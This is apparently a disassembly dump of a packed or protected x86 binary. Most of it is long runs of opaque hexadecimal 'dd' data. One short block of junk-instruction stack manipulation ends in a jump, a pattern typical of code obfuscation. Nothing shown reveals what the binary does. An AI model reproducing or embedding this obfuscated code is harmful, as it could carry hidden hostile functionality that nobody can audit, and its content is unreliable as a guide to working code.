		dd 19CD95FFh, 0C08B0612h, 0DB1169EBh, 0CA29B0C9h, 17B559B3h
		dd 95A95276h, 0A6809BEAh, 1A043F6Ah, 0B8DB5A24h, 63863F5Ch
		dd 0FB4DBD3Ah, 0F35B2256h, 3F1E08F1h, 927C5828h, 17F7426Eh
		dd 83F80788h, 0F36EC510h, 6E98D91Ah, 47977508h,	10480276h
		dd 0A0068810h, 365F38D6h, 0BA5731E2h, 9BB1FFF7h, 20F7F5C1h
		dd 0DD29FD8Fh, 0B1E03F26h, 0F11D5C36h, 0E81984B2h, 0Dh
		dd 5A6A33FBh, 0D6FC3BE1h, 0A513D8BCh, 9FBF59F3h, 8128D17Fh
		dd 5F3DC1h, 0EFDF8100h,	6844FC5Bh, 0
		dd 5852958h, 0FF06122Eh, 11E80834h, 0E4000000h,	4B0B7BAEh
		dd 0CC039320h, 609ADBECh, 0B8E31673h, 23C9958Bh, 5B5E0612h
		dd 1F01B531h, 0C3810612h, 5EA12116h, 8BD9589h, 0EB810612h
		dd 5D68AF14h, 0EE9h, 0A69C1800h, 859DF1CEh, 6D96080h, 81FC98A7h
		dd 4BFC09C3h, 0F2816602h, 0B536083h, 121D0D95h,	1048F06h
		dd 651B589h, 0E8830612h, 0D6805101h, 48485FCBh,	31B58948h
		dd 8106120Ch, 0FFA174F8h, 7C850FFFh, 8BFFFFFFh,	1234D995h
		dd 0C38D8D06h, 89061A31h, 121D45BDh, 0A18D8906h, 6A061209h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 5086C351h, 0E5C081C9h, 0C7572DFFh, 12050585h
		dd 6AB406h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 5E3B1B99h, 660B49E7h, 0C71855BEh
		dd 121BD985h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0C7BC7346h, 0F1BD0173h
		dd 56061222h, 11E9h, 0C1284E00h, 20B84F44h, 0DD983E86h
		dd 6261455Fh, 0FF5A3713h, 121B85B5h, 101EBA06h,	95FF363Dh
		dd 6121B31h, 2051958Bh,	6A0612h, 19CD95FFh, 0C08B0612h
		dd 3E5628EBh, 0F9581BE8h, 94919A12h, 96978E7Ch,	63CB4D0Dh
		dd 0AE7ABDE9h, 7C8214B1h, 726D567Ch, 500EDD41h,	1F90B481h
		dd 0EB26E6h, 3D1E9h, 0A7130600h, 0BB251909h, 0D3352D1Dh
		dd 0E94F4535h, 0FE665B4Bh, 2694F360h, 3B2BC931h, 5242E044h
		dd 6B5BF959h, 76751371h, 387CA415h, 70837603h, 9E1B0F1Eh
		dd 0E907052Dh, 2EC6146Fh, 46A8A090h, 5CC2B8A8h,	75D9CEBEh
		dd 32C3CE94h, 746D65B0h, 5FD17C14h, 77B069FBh, 3AB8223Ch
		dd 4FED554Ah, 6604685Fh, 7F1D7D76h, 9937958Fh, 0F156C40Eh
		dd 4E333569h, 0C24BF654h, 2AA2951h, 37E23076h, 2AA9EC6h
		dd 0F55FAD76h, 665C12h,	0CDC393FDh, 0B426C967h,	0C0B92B84h
		dd 8C097340h, 0E6570281h, 7014C9D5h, 92E3E634h,	6FF4BE66h
		dd 11E5C59Eh, 0D82931BAh, 12201h, 1A0FA700h, 5EF65C52h
		dd 0AC35965Bh, 78AB223h, 5CFC6FE9h, 0DB6A1131h,	66D01E1Dh
		dd 0E908B7F3h, 9598E66Fh, 3227E5DFh, 0A49432CAh, 18A14CAAh
		dd 0E9087FA7h, 4971E26Fh, 506FE908h, 0BDB50302h, 85E61C7h
		dd 6D60BB9Eh, 15188276h, 0B7C27BFh, 69FB1052h, 742A2D7Bh
		dd 61171A7Ch, 0A9060967h, 1F9012F2h, 75FB10F7h,	8720B806h
		dd 1F19E8C8h, 9F8E23C1h, 0FBE85904h, 0A700D2Fh,	178811BCh
		dd 6FE930EFh, 6346B0FEh, 0B250B8ADh, 6265CDC2h,	0CE790807h
		dd 0E930055Dh, 28C6146Fh, 20F69893h, 6EC4C727h,	0E930B3DBh
		dd 0D46CBA6Fh, 0D991B729h, 2BBB7EC6h, 6EE70F80h, 0A8F66FE9h
		dd 0A12AB33Eh, 0E96E0830h, 5FC9176Fh, 0FB76DFECh, 0DDE02E69h
		dd 46B73227h, 75FB751Eh, 0DCDB3B34h, 6858F68Eh,	0D7600B73h
		dd 0FB753E66h, 95FF4D75h, 4FC049B2h, 75FB7527h,	17EE836h
		dd 57C87306h, 75FB74F3h, 446CDD66h, 4B75FB75h, 66B493FDh
		dd 1BE3D8C8h, 8A28C024h, 642575E7h, 9598FAF2h, 27BEAB3Fh
		dd 6A437FE9h, 3459E463h, 2D4C6410h, 0B079EA95h,	0F969FB9Bh
		dd 0F8F2A8ABh, 4AE2403Ah, 0AF8C5AACh, 65EA363Dh, 6AD83Dh
		dd 0FBF58483h, 0FB0C7CA8h, 1109DF75h, 0EC56ACAFh, 1EBC1A14h
		dd 0D3D6342Eh, 0C2C5231Dh, 0ABAE180Ch, 959800F5h, 71E0C079h
		dd 0AB7A5A13h, 0C0B553B1h, 0DE2F7F69h, 2AB0h, 636A5600h
		dd 0B211FBE4h, 2EC68A93h, 2C24FA83h, 34ED60CAh,	6569FB66h
		dd 645E1417h, 8B855B06h, 6AD42A2Dh, 270DECh, 0FBB0000h
		dd 0FB595319h, 0B0AA6063h, 199F9F2h, 6137C063h,	0AA00036Dh
		dd 0E907EF17h, 2C9DFE6Fh, 6FE90704h, 0BB25BD0Bh, 0B3190F7Fh
		dd 44B51615h, 6FE90710h, 0E3A59D73h, 308689EBh,	0D53F9598h
		dd 27FDA8F6h, 33C2D12Fh, 0C3269079h, 75DEC12Bh,	0B92116ECh
		dd 0A5CD60B6h, 0B46FE9F7h, 2A24FC66h, 0B372C9CCh, 0A70F04D3h
		dd 0E6474EA4h, 0C0B81610h, 6FFA64CAh, 0E9F7CAFEh, 0E08BD96Fh
		dd 0AB71E557h, 8E48DB2Ah, 9B89B124h, 42906FE9h,	759D0E97h
		dd 846FE99Bh, 5E4ECC36h, 0AF680664h, 2F11CFh, 0FBF0000h
		dd 4BB4B715h, 72951C2h,	0E2306FE9h, 79EC637h, 5FAD6FE9h
		dd 0B2231DF5h, 7F82E4DCh, 76E9629h, 0CF7D6FE9h,	1A7073D9h
		dd 0E24CEA82h, 0B01C0FA6h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah
		dd 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h
		db 0Bh,	4Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	749Ch
		mov	[esp], eax
		push	ebp
		push	edx
		mov	edx, 61A31F7h
		mov	ebp, edx
		pop	edx
		mov	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [eax+8]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_54EA15
; ---------------------------------------------------------------------------
		dd 27FBDCA2h, 30095506h, 0A6F66527h, 4CB88CB0h,	3061A35h
		dd 0EBE0FFC5h, 0D332120Ch, 5405ACC9h, 0F038286h, 0B0595FBAh
		dd 3F714FB6h, 8A179D76h, 0D20FA61Ch, 4346AB45h,	9A55EE2Ch
		dd 0B80B69B8h, 0C5013D7Fh, 863802A4h, 496C97EEh, 644B1242h
		dd 1B65B810h, 47C84FEh,	7610BCAEh, 511114B3h, 0D72CF38Ah
		dd 6821F95Bh, 9B3CB436h, 0E5EB4EAh, 0C60E5424h,	141E5A65h
		dd 79451BDFh, 6555378Ch, 0E83FDE61h, 0E86DCAA0h, 150DD319h
		dd 921BF7E4h, 0F1599CAh, 68Dh, 0A3E28100h, 0F401204h, 18Ch
		dd 8166F800h, 8B2CF0EBh, 3870FCEh, 66000000h, 0CE8CE8Bh
		dd 8E000000h, 0EB988C48h, 43471AB9h, 0F186A79h,	665FD1BFh
		dd 0D235C681h, 0BE8h, 232BF700h, 0AC7E0AF0h, 8532062Ah
		dd 800Fh, 0E95E0000h, 0Ah, 0FBEA757Dh, 71A5F925h, 2CB28B78h
		dd 6E8h, 0C6DFEA00h, 5733202Bh,	0DE8h, 9AB83900h, 2AE11BAFh
		dd 33D8DCF9h, 5E5F9391h, 0FDCB459h, 88h, 0B1E08100h, 0F19253Dh
		dd 387h, 73D98000h, 0FDDB8166h,	0B0F18AB6h, 0B6B460F3h
		dd 0B93365BAh, 8F0F612Ah, 2, 0DB81F08Ah, 5893C648h, 28B0Fh
		dd 0ACB60000h, 80DFBF0Fh, 52F9FBC6h, 2850Fh, 5B570000h
		dd 66F18B58h, 0EE9F78Bh, 0DA000000h, 4259C6FDh,	7C082FE8h
		dd 39C3C8A2h, 0B3CA8BD1h, 6653601Ch, 665ECB8Bh,	0E57CEE81h
		dd 68F0F61h, 0F000000h,	85h, 890F00h, 0B9000000h, 64F40D50h
		dd 0B9A1D280h, 4B4C7778h, 9BC9BB66h, 0D58057F5h, 0BF0F5885h
		dd 5E9C6h, 6D3B0000h, 53F5EF05h, 5E616051h, 66C68A5Fh
		dd 3275E681h, 944EE881h, 0BA6674CDh, 0EABF60E0h, 6068F0A2h
		dd 6E8h, 385D4A00h, 8AF6688Ch, 0FE85AE7h, 0AE000000h, 14CEB371h
		dd 8A11BA21h, 0A1530D14h, 0AB68409h, 12E9615Fh,	9E000000h
		dd 0C9902E78h, 7FB769EFh, 40E49A0h, 23B6713Bh, 8AF9FCCDh
		dd 7E9C2h, 46770000h, 0A788B74Ch, 13E93Ah, 18A60000h, 0B1AAF083h
		dd 0A87EEED8h, 0CA39EAE3h, 863837A3h, 11B96606h, 14E9F962h
		dd 69000000h, 2DA00307h, 0BE632AB3h, 192EF322h,	0EAD19101h
		dd 0FEE3D7Fh, 1480h, 9E96000h, 0F3000000h, 0EEE3CC28h
		dd 120A917h, 0DEB3B866h, 6E861h, 133A0000h, 555E790Fh
		dd 805EB5B1h, 8D0F36C9h, 3, 0F948CD80h,	0E9C0B70Fh, 7
		dd 39468A1Bh, 660697FEh, 0FB7FEB8h, 0D8Bh, 8E900h, 5E360000h
		dd 0DE16E434h, 0FE9602Ah, 44000000h, 0F4F519Eh,	8CCF3A85h
		dd 0C36D2171h, 0D38BE24Ch, 0B53DBA66h, 5928B953h, 50597C7Eh
		dd 0D08B665Bh, 0AD753CB9h, 0D3C7817Dh, 805D931Ah, 0D181BDE5h
		dd 4FBCF1FDh, 0E9EAF180h, 14h, 19733905h, 24EA61Ch, 908DE8B0h
		dd 95387CDEh, 0D0273573h, 66FE8BF5h, 13E9C68Bh,	95000000h
		dd 7BB7B5F9h, 7F25A982h, 178BE8CEh, 4ABF12FCh, 0FE8BBCBBh
		dd 17F78160h, 0E86B0D0Dh, 0Dh, 0AEDC071Ch, 0FECD07C3h
		dd 764C57C3h, 8E9E9h, 55FD0000h, 1A749BFEh, 615A93B4h
		dd 0BB66EF8Ah, 14E9E27Ch, 46000000h, 96C5C8E4h,	5CCF0A63h
		dd 5D6A7A4h, 8ACC01DAh,	667C8541h, 0B41FE881h, 0FC6BF0Fh
		dd 0D78BC0BFh, 0FF8B70Fh, 97B8CEBFh, 811BB126h,	0C7B95CD8h
		dd 5FD8817Ch, 0F45646Fh, 820FF2B7h, 0Ch, 7E9h, 79A2FF00h
		dd 8B4C7A6Bh, 13E9h, 9A2E8200h,	44357E45h, 0A24008F3h
		dd 7DB86224h, 0F86F09DAh, 45A5BF66h, 3860Fh, 0B70F0000h
		dd 0C18AFCFAh, 94C143BAh, 0C6BF0F36h, 0E2F68166h, 6E952h
		dd 61E50000h, 83008782h, 0FD7BF0Fh, 0B80h, 58C0F00h, 66000000h
		dd 8A76E381h, 0BF0FD98Bh, 11E9CFh, 0B1A80000h, 0BE761B4Eh
		dd 8DB4ADFh, 8909DC58h,	0F68BA8Eh, 289h, 66F78B00h, 8E0FF88Bh
		dd 3, 0E87EC180h, 0Ch, 1AB8B9E9h, 79257BF0h, 0CD6C1074h
		dd 57D7D081h, 0B35A4CD4h, 810F40h, 66000000h, 91A2D381h
		dd 0C8C5B8F5h, 9E80FC2h, 0F0000000h, 0A69ED355h, 0C3153BA8h
		dd 4361F381h, 8A59387Dh, 0EE9EAh, 40510000h, 0DC28A355h
		dd 0CFAA8EF9h, 0A1FEBB7Ch, 9E8h, 8B630D00h, 2A5011C0h
		dd 0F535B42h, 5F5ED8B7h, 60F08166h, 6820FB8h, 81000000h
		dd 251BEFC0h, 5E858h, 2BBD0000h, 8B113E31h, 0AAB55FF2h
		dd 14E8h, 0BEDA8000h, 0DC1B9CDBh, 0BA7C4062h, 997DF1AEh
		dd 9ABE0BE0h, 58DE8BF5h, 0DE9h,	86951D00h, 5E3B1B99h, 0D10B49E7h
		dd 8BFC865Ch, 0E95760CAh, 10h, 8D25072Bh, 0FD953A8Bh, 0C435FEE7h
		dd 8539CF2Dh, 61EEB35Ah, 128F0Fh, 0DE90000h, 0FA000000h
		dd 8AD21B6Ah, 0A1C2F297h, 20936FEAh, 9E9h, 4470DF00h, 0CB7CFFCCh
		dd 0CF8142F0h, 5D85F682h, 7BD38166h, 0F5652DFh,	5E5EC9BFh
		dd 1A49F8BEh, 9830F6Ch,	0F000000h, 381h, 0F98B6600h, 80DA8B66h
		dd 7E9DAD1h, 5C000000h,	2CFAE249h, 0B8666717h, 0F603C31h
		dd 38Eh, 0F08B6600h, 585F5050h,	0BE961h, 4D1E0000h, 0B3D917DEh
		dd 5D6D2316h, 0B491B371h, 38C98007h, 3890Fh, 0EB800000h
		dd 2E6BB809h, 8C0F7F44h, 9, 38E0Fh, 8B660000h, 0F68166CAh
		dd 0A1B26C29h, 0AE8h, 0FEB2B300h, 0F5209D5Ah, 816E2100h
		dd 67E8A8C6h, 81665B7Eh, 0E90A24E6h, 10h, 9CFE1CD1h, 0DD1B8BECh
		dd 0D0536650h, 0AEB82D8Fh, 6FEA8051h, 0E2DB815Ah, 0F4EDF0Bh
		dd 582h, 63DDBA00h, 0CF816C63h,	6DD04146h, 8C33D081h, 0B966297Bh
		dd 0D48A1582h, 0CE9h, 0CA9C5C00h, 9ED13D28h, 80972854h
		dd 168D0F42h, 0E9000000h, 11h, 4CD4980Fh, 0DB912BDDh, 734AE749h
		dd 4ECA9260h, 58E0FDEh,	66000000h, 1E23D681h, 88F0Fh, 8F0F0000h
		dd 2, 0D3806160h, 0D1B70FD5h, 50F6B70Fh, 5836D480h, 0DDB8BEF5h
		dd 8B66293Ch, 9E8D9h, 1F550000h, 643A9855h, 0E80FADD2h
		dd 0Bh,	48B614C5h, 31CC96C4h, 80FCB219h, 585F74DFh, 0E960F08Ah
		dd 7, 87D7C663h, 6188571Fh, 3840Fh, 0F9600000h,	66F18B61h
		dd 8157F08Bh, 7FF7FCC2h, 0FE85A6Ah, 0F3000000h,	0E4345E36h
		dd 602ADE16h, 107AD723h, 0BE66C672h, 0E95A1425h, 10h, 0DC12D329h
		dd 4D6C90CBh, 7DAB23D4h, 62E89F1Bh, 0E9ECB0F9h,	12h, 0DC237745h
		dd 988A8D6Ah, 58CC8F89h, 0C694F390h, 0CE82DC2h,	0D4000000h
		dd 0F30223DDh, 0A7C30E0Eh, 66EC9A8Fh, 0D14DE281h, 0CA8B605Fh
		dd 61C6BF0Fh, 0BE8h, 0C3AB9900h, 2150EEB2h, 0E31E249Eh
		dd 0CE9h, 0FCDB5E00h, 304CD976h, 0A731D200h, 816658DDh
		dd 0FDA89E8h, 66FCC6B7h, 8E0FF28Bh, 10h, 8E850h, 647A0000h
		dd 61FD1712h, 5E5A792Ah, 9CC1D881h, 8B667D89h, 21E281D6h
		dd 0F776167h, 0C8Eh, 7E900h, 14290000h,	0A7AA96BAh, 0FEBF0F8Ch
		dd 3890Fh, 8B660000h, 0AE857F9h, 0E5000000h, 196237FDh
		dd 0AD3650CDh, 0DEBF0FABh, 0D8805F5Ah, 6E95Eh, 0C50A0000h
		dd 84E8A1D0h, 0EE8166F5h, 0B70F9B4Bh, 41B966F2h, 14C081C4h
		dd 6027A0E7h, 0A348F781h, 0B70F1AB0h, 99B461C2h, 14E8h
		dd 0F59FD00h, 0EB35DFEFh, 0C0761524h, 16F73B12h, 0CCF4845Fh
		dd 9FB9660Fh, 860F5E56h, 5, 94F63BFh, 0CE979h
		dd 0ADAC0000h, 456FAC79h, 0B8641871h, 810F5E1Fh, 6, 6918DE81h
		dd 8C0F0068h, 5, 16DD0BEh, 0C081665Ah, 0EB812B53h, 1DBEDF59h
		dd 38B0Fh, 0B70F0000h, 0F38166D8h, 0BA667A09h, 8B66E01Ah
		dd 2BD080CAh, 13E9h, 0C7859A00h, 8AD66222h, 0A8E99B3h
		dd 0DBE7900Ch, 0AB99B6F7h, 5860Fh, 81660000h, 8BDF82E2h
		dd 8B99BAC7h, 0A8BB7978h, 6603430Ah, 18A1D181h,	7C979CBEh
		dd 12E96035h, 0FC000000h, 16558560h, 77D9E3EDh,	0D6F07F87h
		dd 2C9CD08h, 0E861F911h, 10h, 5A228F3Fh, 9E14ADA9h, 29176EA1h
		dd 0DD507A17h, 35C38166h, 0BF0F5E7Eh, 14E860F8h, 6C000000h
		dd 9E28C5D2h, 0D3E5DBEDh, 914E07EEh, 675CC060h,	0BAA26276h
		dd 237CE933h, 10E959h, 0DB020000h, 8DE341C0h, 0C2D86569h
		dd 4DB852FFh, 0F6154C8h, 0E78AFFBFh, 9E8h, 8536F800h, 48FBEFABh
		dd 8B665513h, 5E95BC1h,	0D3000000h, 0CD55625Bh,	0D22EBF66h
		dd 0FDA8B66h, 58Bh, 0DB816600h,	66511827h, 5E9DD9BFh, 5890Fh
		dd 94B90000h, 0BF5C0941h, 2E549CD2h, 78A0Fh, 66510000h
		dd 3AA1F281h, 0B048BF59h, 0E381449Fh, 3337EFC8h, 13EA8166h
		dd 0CB816673h, 0D3817727h, 1C65A4A8h, 8BB9ED80h, 1893B8F3h
		dd 0F78B3C4Eh, 0DE9h, 0A8358A00h, 2E0A40E0h, 970F7152h
		dd 0CE90EE1h, 9E000000h, 0C81AE002h, 2713922Bh,	51B2FD6Eh
		dd 0BB52515Bh, 250D3844h, 0E9F5585Bh, 10h, 8D9A6699h, 8BDA073Ah
		dd 0B7743699h, 43E44F20h, 9464BF66h, 0F2EA8166h, 0E9FE8AE1h
		dd 5, 0AF7771AAh, 0FC28A3Eh, 1587h, 10E900h, 0ED430000h
		dd 0F05AF32Eh, 0B6579D3Bh, 0A21D3FB9h, 14B20EDFh, 5FF78166h
		dd 0C5CD8007h, 8166F28Bh, 80A056D6h, 0CE92BD3h,	0BD000000h
		dd 0AE039548h, 34B445D8h, 0B0D4024Ah, 0AE950h, 8A980000h
		dd 0E5C804A5h, 855C3EE2h, 68F0Fh, 0C9810000h, 79E31521h
		dd 666004B5h, 8166F18Bh, 617DC2D2h, 66607AB0h, 0E9388EBAh
		dd 0Ch,	56912C5Ch, 0C2AAE3E8h, 791D5429h, 0FBBF0F61h, 0EE960h
		dd 0F3F40000h, 0F659D238h, 9B6F2262h, 0AFCA1D97h, 61F3BF0Fh
		dd 3810Fh, 0B70F0000h, 0F6B70FDAh, 0FF7B70Fh, 688h, 79EE8100h
		dd 66648197h, 81AD7ABEh, 5DF6BBEFh, 6E95605h, 0A3000000h
		dd 0CE85EB34h, 14E95856h, 93000000h, 0CAB4F3B0h, 42704D50h
		dd 487DC659h, 734BACD5h, 0FF9D613h, 7E9FEBFh, 8A000000h
		dd 0A1C2F297h, 0CB806FEAh, 0A840F62h, 0F000000h, 48Eh
		dd 0FEBB6600h, 0F28B60C8h, 58B0Fh, 14BA0000h, 61170572h
		dd 0CE9h, 3A3F2000h, 7A1EDDD1h,	74B0BE81h, 6E959h, 6EC90000h
		dd 520E6FAFh, 0E9F98B66h, 0Dh, 0B86936C4h, 52F57A2Ah, 84E733E6h
		dd 0D681663Ch, 0B966DB28h, 0D3800FC6h, 0CE8B5h,	0D7DB0000h
		dd 0B7CED4C2h, 9B7A34Ah, 0BF0F06C2h, 0D6BE5BF8h, 0F7D6701h
		dd 38Ch, 9EE58000h, 7870Fh, 8E0F0000h, 1, 0D1B70FF8h, 11E9h
		dd 0C015E600h, 0C47EF2BBh, 0A230DE7Ch, 0F9C712F4h, 0DA800A17h
		dd 7830FBBh, 56000000h,	718AC4BFh, 0EF815F1Eh, 4E109883h
		dd 7FC8E281h, 60607E60h, 0BC38166h, 0B70F614Ah,	0FFC61CBh
		dd 82h,	10E800h, 0FDFD0000h, 0DE95255Fh, 0D7F9076Fh, 43A69B40h
		dd 8166DE0Eh, 5F8518F7h, 67DFBB66h, 748082BBh, 800F606Ch
		dd 5, 74DB8166h, 0B3E9BF9Bh, 0E961154Ah, 12h, 918B5298h
		dd 9E6B7DBBh, 9E302A4Eh, 632BB765h, 8B665089h, 0FA7B2D0h
		dd 0A80h, 0D3BE6000h, 0F7CB9D4h, 0F61D1B7h, 38Fh, 0F08B6600h
		dd 8B66FA8Bh, 0E88166CFh, 8B66979Ah, 0C38BF9CEh, 6E89BB5h
		dd 49000000h, 78900CDh,	5FCEB0E3h, 0F9B70F60h, 0EE8h, 0D1A6C900h
		dd 0B51A5711h, 0CEAE810Ah, 607E32E9h, 0E8615861h, 6, 0B406796h
		dd 8166775Eh, 5BB928D6h, 0E3E08166h, 0E860521Eh, 0Ch, 6A5A2D11h
		dd 392BA5FBh, 0D0E6F129h, 61F08B5Bh, 5E85Eh, 0E01B0000h
		dd 0B16CEBBDh, 74BE5F92h, 0B9308161h, 67C946F1h, 0CCBB6656h
		dd 0B56058B0h, 0E0816625h, 66619E9Fh, 0C3E8E181h, 0FE8B66FCh
		dd 35E18166h, 0B7D18BC2h, 28C88026h, 0F913D580h, 0CE9F5h
		dd 38410000h, 5481F0E0h, 0A3203B75h, 8A0FDFC5h,	6, 6245DA81h
		dd 0E96047BBh, 13h, 3CC8A546h, 0ADAFBC1Bh, 61C4690Ah, 0C4B6E833h
		dd 0B7E48CF4h, 0B70F6149h, 0FEBE53DBh, 5F481749h, 94CB8166h
		dd 0CE72BF26h, 8B667EA0h, 0AE8C6h, 0FC6A0000h, 1043D077h
		dd 0BE695405h, 0CE9h, 5962F700h, 72D2F326h, 19F78400h
		dd 880F5F88h, 9, 3840Fh, 0B70F0000h, 0F88B60C8h, 61A2DE80h
		dd 5EF28B50h, 0B70FC28Bh, 0CBBEF9FBh, 8B7BB762h, 0CDBF66CAh
		dd 0E8BF60CDh, 6027758Ah, 560CCE80h, 6661615Eh,	0DDC7EA81h
		dd 0EE9h, 0F140CD00h, 0A113A7Fh, 0E8A1D0C5h, 669B9F84h
		dd 606B6ABEh, 0FE8h, 1875FB00h,	0B23D7B28h, 38562198h
		dd 66BA04DFh, 66585F53h, 61F2B0BAh, 0CCEE8166h,	0E961602Ah
		dd 9, 41CF2579h, 1207C290h, 0F6816608h,	0C681523Ch, 71FBB029h
		dd 5E857h, 81D20000h, 66FB99A6h, 5BE035BEh, 0FE85Fh, 64910000h
		dd 0AE2369A3h, 4CE839B8h, 0A1F4411h, 59526063h,	66565F61h
		dd 5B37C4B9h, 98B0Fh, 66600000h, 0BF66C18Bh, 0BB61BFA3h
		dd 0E8E564Eh, 5E9h, 2F3E8700h, 0EA8A120Eh, 14E8h, 0EE628A00h
		dd 0F23E2000h, 0C17DE923h, 21DC7047h, 654C7CF2h, 0CE8604Dh
		dd 4B000000h, 5DF7FBCh,	68672E19h, 584FC60Bh, 59615F56h
		dd 0A6CBC881h, 7E943C8h, 0B6000000h, 1930BB0Eh,	0BAF8CCA3h
		dd 75539444h, 0AE8D88Bh, 4D000000h, 0D72E153h, 0A5A902F1h
		dd 2860FA1h, 0B7000000h, 0D8805E7Ah, 6840F37h, 60000000h
		dd 61605F52h, 0F2BB6661h, 85B966BAh, 3FBF6614h,	8F0F56FBh
		dd 3, 5A68CC80h, 0B71BB66h, 2ED614BAh, 0BDE98107h, 66476A32h
		dd 0D38BDF8Bh, 0AE9h, 0E6733000h, 18FCA532h, 0F083D09h
		dd 18Ah, 0D78BF900h, 64F68166h,	0F38B6646h, 0B840Fh, 6E90000h
		dd 35000000h, 0E8D59C3Dh, 7E978h, 4D030000h, 9D9042F1h
		dd 5E8EEh, 4DB20000h, 6662A14Ah, 7F14E781h, 0CE95Bh, 6B490000h
		dd 4A1B426Ah, 0BD05CBAFh, 5A5233FEh, 0BAD9BF0Fh, 46132BB1h
		dd 0F2D8BA66h, 7E9h, 0CA335B00h, 922ECE5h, 11E9h, 6C567D00h
		dd 28B11ADBh, 1985CCCAh, 160696AEh, 0AE81318h, 4B000000h
		dd 0B4972C7Ah, 0F2E02A5Eh, 13E925h, 4C9D0000h, 8B30FDB4h
		dd 0BF54DBFh, 4AECCDFDh, 0CFB416CAh, 0BE85EE6h,	0E0000000h
		dd 0C85FAA7Eh, 0FC4103F6h, 6060F994h, 880F61h, 61000000h
		dd 0E994B259h, 12h, 0CC7F33FEh,	9FA65F28h, 74C8ED8Dh, 0E7D5C551h
		dd 0EE815B86h, 1B268AE5h, 0FDB96653h, 7E95874h,	1D000000h
		dd 2C3F0237h, 0BF6655AAh, 0F081FA06h, 4145EA36h, 5857D18Bh
		dd 10E8h, 0B2AA3300h, 73206B6Fh, 142ACA56h, 5ABC386Dh
		dd 17BE6083h, 8009038Eh, 586197DAh, 6EBF6660h, 6850FFEh
		dd 0F000000h, 82h, 0F28B6100h, 0BD25BA66h, 0B70FC58Ah
		dd 0CE8C2h, 5F160000h, 0FCCF484h, 18A160B8h, 0F58A19B4h
		dd 8870F58h, 0F000000h
		dd 285h, 8AC68B00h, 0AFBE66F8h,	7F4FBB40h, 81663A42h, 0F6719C6h
		dd 8166C8B7h, 0BE7887C2h, 176A0E3Bh, 12E9h, 0FC730600h
		dd 129DEC2Eh, 31E97F36h, 0D411FC6Ch, 0F4B6757h,	38Fh, 0F38B6600h
		dd 13E8h, 0AA2B600h, 870D8088h,	0EDF37715h, 76D44A1Eh
		dd 0B143BFE1h, 0DDFBE181h, 66592553h, 0DA8BF38Bh, 8E8h
		dd 0F3133E00h, 0BD643B29h, 3830F47h, 66000000h,	0E85EDA8Bh
		dd 13h,	841389A4h, 27751858h, 70A1C890h, 98F42096h, 0F1F49C3h
		dd 0E8Fh, 9E900h, 33610000h, 0F4C4B6E8h, 58EEE48Ch, 11E9h
		dd 1A791300h, 7A02A887h, 0E039009Dh, 0D8C861EBh, 0F528C4Fh
		dd 18Ch, 665BFC00h, 0B966C38Bh,	12E9125Bh, 2E000000h, 0D54EA313h
		dd 2DD88652h, 3A9F5D9Bh, 717948B1h, 608FB7E4h, 3800Fh
		dd 0CE800000h, 1810F1Ah, 0F9000000h, 6E8F961h, 0C2000000h
		dd 0C15CDA2Eh, 7E95130h, 3B000000h, 47851A47h, 5A5921F4h
		dd 6E952h, 0D8D70000h, 78EE2AE4h, 10E958h, 0EF670000h
		dd 70E98CC7h, 0D8F8A6EEh, 9A05965Fh, 0BF0F8AEAh, 0D180D7h
		dd 951EB860h, 0F3B255CEh, 48F0F61h, 60000000h, 6661F9F8h
		dd 812E78BAh, 3F9766F2h, 0B966FC3Bh, 10E98427h,	2000000h
		dd 0E52C900Bh, 2BC3F21Eh, 13135E8Fh, 6630A676h,	8151DF8Bh
		dd 132873C3h, 0F0815B16h, 76D94754h, 5118C780h,	0C44D83BAh
		dd 0B2565E63h, 0BF0F5E85h, 0F0BF0FD8h, 0CE9h, 0E6D7EF00h
		dd 21A87CEEh, 0E7626D86h, 1CA0BB5Dh, 6660567Dh,	0F375DF81h
		dd 0F5C28161h, 662D0CF6h, 0B229D381h, 4AC08166h, 7C1814Ch
		dd 80457B1Dh, 8166DBC2h, 6098D9C2h, 6E9h, 208DF800h, 66FF2405h
		dd 617F72B9h, 0D18BC68Bh, 0DBE08160h, 817181BDh, 0F7AA12D6h
		dd 8B66614Ch, 9782B8C6h, 890F4B5Eh, 3, 8B73DF80h, 1880FD9h
		dd 0F5000000h, 0D1EA85B9h, 148E0F08h, 0E9000000h, 0Fh
		dd 0C772C3EBh, 210AA99h, 89118BD2h, 8B98F8E6h, 70B866CBh
		dd 13BB6697h, 0DE8B666Fh, 0F1BF280h, 870FC0BFh,	1, 0CE8B60F8h
		dd 63DFBF66h, 0B9D38B61h, 2AEF1DBAh, 5E9h, 78D1AF00h, 14E98B6Bh
		dd 0AE000000h, 0A2AF6B2Ch, 0D1A6C9C9h, 0B51A5711h, 0CEAE810Ah
		dd 0F7E32E9h, 58Bh, 4DAAB800h, 0F506398h, 8058D2BFh, 0BE81ED5h
		dd 2B000000h, 32094700h, 59F66EDEh, 0F5606992h,	850Fh
		dd 5F610000h, 8FBFCF81h, 38BF06C1h, 665E6374h, 8E0FC18Bh
		dd 2, 8166CF8Bh, 50C727E3h, 5FC2B70Fh, 11E8h, 5EF17100h
		dd 0B2B3B5DDh, 209D5AFEh, 6E2100F5h, 830F7697h,	16h, 10E8h
		dd 0FCCA3800h, 0ED296DD7h, 3DBD6AECh, 917793D4h, 8B585E0Fh
		dd 33B0FCF2h, 0C35FA1BAh, 0DE92Bh, 0DFC0000h, 176C524Bh
		dd 89EA13A7h, 0FE8E129h, 0B860DAB7h, 46DFDBA2h,	0BFA0D681h
